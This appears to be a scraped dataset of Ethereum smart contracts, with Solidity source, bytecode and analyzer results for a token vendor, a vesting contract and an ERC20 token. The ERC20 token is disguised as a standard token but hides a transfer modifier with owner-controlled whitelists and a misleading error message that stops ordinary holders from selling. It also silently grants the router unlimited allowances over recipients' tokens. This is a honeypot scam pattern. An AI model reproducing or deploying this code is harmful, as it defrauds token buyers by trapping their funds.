IERC20(_asset).safeApprove(_spender, 0);
IERC20(_asset).safeApprove(_spender, 2**256 - 1);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
/**
* @title PlatformTokenVendor
* @author mStable
* @notice Stores platform tokens for distributing to StakingReward participants
* @dev Only deploy this during the constructor of a given StakingReward contract
*/
contract PlatformTokenVendor {
IERC20 public immutable platformToken;
address public immutable parentStakingContract;
/** @dev Simple constructor that stores the parent address */
constructor(IERC20 _platformToken) {
parentStakingContract = msg.sender;
platformToken = _platformToken;
MassetHelpers.safeInfiniteApprove(address(_platformToken), msg.sender);
}
/**
* @dev Re-approves the StakingReward contract to spend the platform token.
* Just incase for some reason approval has been reset.
*/
function reApproveOwner() external {
MassetHelpers.safeInfiniteApprove(address(platformToken), parentStakingContract);
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c8063488a49e314610046578063d1b812cd14610089578063d8245bb9146100b0575b600080fd5b61006d7f0000000000000000000000008f2326316ec696f6d023e37a9931c2b2c177a3d781565b6040516001600160a01b03909116815260200160405180910390f35b61006d7f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd281565b6100b86100ba565b005b6101047f000000000000000000000000a3bed4e1c75d00fa6f4e5e6922db7261b5e9acd27f0000000000000000000000008f2326316ec696f6d023e37a9931c2b2c177a3d7610106565b565b61011b6001600160a01b038316826000610135565b6101316001600160a01b03831682600019610135565b5050565b8015806101be5750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b15801561018457600080fd5b505afa158015610198573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101bc91906104f3565b155b61022e5760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b60648201526084015b60405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b17905261028090849061029e565b505050565b60606102948484600085610370565b90505b9392505050565b60006102f3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166102859092919063ffffffff16565b805190915015610280578080602001905181019061031191906104d1565b6102805760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610225565b6060824710156103d15760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610225565b843b61041f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610225565b600080866001600160a01b0316858760405161043b919061050c565b60006040518083038185875af1925050503d8060008114610478576040519150601f19603f3d011682016040523d82523d6000602084013e61047d565b606091505b509150915061048d828286610498565b979650505050505050565b606083156104a7575081610297565b8251156104b75782518084602001fd5b8160405162461bcd60e51b81526004016102259190610528565b6000602082840312156104e357600080fd5b8151801515811461029757600080fd5b60006020828403121561050557600080fd5b5051919050565b6000825161051e81846020870161055b565b9190910192915050565b602081526000825180602084015261054781604085016020870161055b565b601f01601f19169190910160400192915050565b60005b8381101561057657818101518382015260200161055e565b83811115610585576000848401525b5050505056fea264697066735822122023deb8c4ab9183985c163a2a8158c184678752d6daa529f1f9aa5fb4f53f963c64736f6c63430008060033
|
{"success": true, "error": null, "results": {}}
| 8,947 |
0x5b54780993900bd3f988bd9554138f51fcda36e2
|
/**
*Submitted for verification at Etherscan.io on 2020-09-28
*/
pragma solidity ^0.6.2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title ERC1132 interface
* @dev see https://github.com/ethereum/EIPs/issues/1132
*/
abstract contract ERC1132 {
/**
* @dev Reasons why a user's tokens have been locked
*/
mapping(address => bytes32[]) public lockReason;
/**
* @dev locked token structure
*/
struct lockToken {
uint256 amount;
uint256 validity;
bool claimed;
}
/**
* @dev Holds number & validity of tokens locked for a given reason for
* a specified address
*/
mapping(address => mapping(bytes32 => lockToken)) public locked;
/**
* @dev Records data of all the tokens Locked
*/
event Locked(
address indexed _of,
bytes32 indexed _reason,
uint256 _amount,
uint256 _validity
);
/**
* @dev Records data of all the tokens unlocked
*/
event Unlocked(
address indexed _of,
bytes32 indexed _reason,
uint256 _amount
);
/**
* @dev Locks a specified amount of tokens against an address,
* for a specified reason and time
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be locked
* @param _time Lock time in seconds
*/
function lock(string memory _reason, uint256 _amount, uint256 _time)
public virtual returns (bool);
/**
* @dev Returns tokens locked for a specified address for a
* specified reason
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
*/
function tokensLocked(address _of, string memory _reason)
public virtual view returns (uint256 amount);
/**
* @dev Returns tokens locked for a specified address for a
* specified reason at a specific time
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
* @param _time The timestamp to query the lock tokens for
*/
function tokensLockedAtTime(address _of, string memory _reason, uint256 _time)
public virtual view returns (uint256 amount);
/**
* @dev Returns total tokens held by an address (locked + transferable)
* @param _of The address to query the total balance of
*/
function totalBalanceOf(address _of)
public virtual view returns (uint256 amount);
/**
* @dev Extends lock for a specified reason and time
* @param _reason The reason to lock tokens
* @param _time Lock extension time in seconds
*/
function extendLock(string memory _reason, uint256 _time)
public virtual returns (bool);
/**
* @dev Increase number of tokens locked for a specified reason
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be increased
*/
function increaseLockAmount(string memory _reason, uint256 _amount)
public virtual returns (bool);
/**
* @dev Returns unlockable tokens for a specified address for a specified reason
* @param _of The address to query the the unlockable token count of
* @param _reason The reason to query the unlockable tokens for
*/
function tokensUnlockable(address _of, string memory _reason)
public virtual view returns (uint256 amount);
/**
* @dev Unlocks the unlockable tokens of a specified address
* @param _of Address of user, claiming back unlockable tokens
*/
function unlock(address _of)
public virtual returns (uint256 unlockableTokens);
/**
* @dev Gets the unlockable tokens of a specified address
* @param _of The address to query the the unlockable token count of
*/
function getUnlockableTokens(address _of)
public virtual view returns (uint256 unlockableTokens);
}
interface SocialRocketContrat{
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
contract SocialRocketVesting is Ownable {
using SafeMath for uint256;
uint256 public startVesting;
uint256 public durationVesting;
mapping (address => uint256) private _released;
SocialRocketContrat private rocks;
address private token;
string internal constant ALREADY_LOCKED = 'Tokens already locked';
string internal constant NOT_LOCKED = 'No tokens locked';
string internal constant AMOUNT_ZERO = 'Amount can not be 0';
constructor(address socialRocketContract, uint256 duration) public {
rocks = SocialRocketContrat(socialRocketContract);
token = socialRocketContract;
startVesting = now;
require(duration > 0, "Vesting: duration is 0");
require(startVesting.add(duration) > block.timestamp, "Vesting: final time is before current time");
durationVesting = duration;
}
/****************
MARKETING VESTING
*****************/
function released() public view returns (uint256) {
return _released[token];
}
function release() public onlyOwner {
uint256 unreleased = releasableAmount();
require(unreleased > 0, "No tokens are due");
_released[address(token)] = _released[address(token)].add(unreleased);
rocks.transfer(owner, unreleased);
}
function releasableAmount() public view returns (uint256) {
return vestedAmount().sub(_released[address(token)]);
}
function vestedAmount() public view returns (uint256) {
uint256 currentBalance = rocks.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(_released[address(token)]);
if (block.timestamp >= startVesting.add(durationVesting)) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(startVesting)).div(durationVesting);
}
}
function getRemainingVestingDays() public view returns(uint256){
return startVesting.add(durationVesting).sub(block.timestamp).div(86400);
}
}
|
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c806386d1a69f1161006657806386d1a69f146101255780638da5cb5b1461012f5780639613252114610179578063deb36e3214610197578063f2fde38b146101b55761009e565b80633b7e891c146100a357806344b1231f146100c157806348a31229146100df5780635b940081146100fd578063715018a61461011b575b600080fd5b6100ab6101f9565b6040518082815260200191505060405180910390f35b6100c96101ff565b6040518082815260200191505060405180910390f35b6100e76103c0565b6040518082815260200191505060405180910390f35b610105610405565b6040518082815260200191505060405180910390f35b610123610487565b005b61012d610587565b005b610137610844565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610181610869565b6040518082815260200191505060405180910390f35b61019f6108d2565b6040518082815260200191505060405180910390f35b6101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108d8565b005b60025481565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156102a157600080fd5b505afa1580156102b5573d6000803e3d6000fd5b505050506040513d60208110156102cb57600080fd5b81019080805190602001909291905050509050600061035460036000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610a2990919063ffffffff16565b905061036d600254600154610a2990919063ffffffff16565b421061037d5780925050506103bd565b6103b86002546103aa61039b60015442610ab190919063ffffffff16565b84610afb90919063ffffffff16565b610b8190919063ffffffff16565b925050505b90565b6000610400620151806103f2426103e4600254600154610a2990919063ffffffff16565b610ab190919063ffffffff16565b610b8190919063ffffffff16565b905090565b600061048260036000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104746101ff565b610ab190919063ffffffff16565b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104e057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105e057600080fd5b60006105ea610405565b905060008111610662576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4e6f20746f6b656e73206172652064756500000000000000000000000000000081525060200191505060405180910390fd5b6106d68160036000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a2990919063ffffffff16565b60036000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561080557600080fd5b505af1158015610819573d6000803e3d6000fd5b505050506040513d602081101561082f57600080fd5b81019080805190602001909291905050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060036000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461093157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561096b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015610aa7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610af383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bcb565b905092915050565b600080831415610b0e5760009050610b7b565b6000828402905082848281610b1f57fe5b0414610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610d526021913960400191505060405180910390fd5b809150505b92915050565b6000610bc383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c8b565b905092915050565b6000838311158290610c78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610c3d578082015181840152602081019050610c22565b50505050905090810190601f168015610c6a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290610d37576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610cfc578082015181840152602081019050610ce1565b50505050905090810190601f168015610d295780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610d4357fe5b04905080915050939250505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122064f8fa66d405dc487dc51fd5450693232851ba787e838ebda70717551a0c46ec64736f6c63430006020033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 8,948 |
0xab8545aa7d11ce510f5937d382437a8e93d7eb80
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_wSIENNA(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f856040518060600